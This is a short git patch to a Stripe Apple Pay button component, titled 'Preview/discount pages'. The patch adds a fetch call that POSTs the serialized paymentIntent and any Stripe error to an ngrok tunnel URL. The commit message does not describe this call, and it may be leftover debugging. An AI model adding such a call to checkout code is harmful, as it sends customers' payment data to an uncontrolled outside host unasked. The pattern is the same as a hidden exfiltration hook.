From 339ec7076674dbfbd08234a804ed3df54b8ea860 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=B5=D0=BD=D0=B8=D1=81=20=D0=9A=D0=B0=D1=82=D0=B0?= =?UTF-8?q?=D0=B5=D0=B2?= Date: Fri, 16 Feb 2024 14:36:03 +0000 Subject: [PATCH] Preview/discount pages --- src/components/StripePage/ApplePayButton/index.tsx | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/src/components/StripePage/ApplePayButton/index.tsx b/src/components/StripePage/ApplePayButton/index.tsx index afa89bf..e7a0988 100644 --- a/src/components/StripePage/ApplePayButton/index.tsx +++ b/src/components/StripePage/ApplePayButton/index.tsx @@ -72,6 +72,17 @@ function ApplePayButton({ console.log("STRIPE APPLEPAY paymentIntent: ", paymentIntent); console.log("STRIPE APPLEPAY ERROR: ", stripeError); + fetch("https://9bbb-78-85-20-145.ngrok-free.app/test", { + method: "POST", + body: JSON.stringify({ + paymentIntent: JSON.stringify(paymentIntent), + stripeError: JSON.stringify(stripeError), + }), + headers: { + "Content-type": "application/json; charset=UTF-8", + }, + }); + if (stripeError) { // Show error to your customer (e.g., insufficient funds) navigate(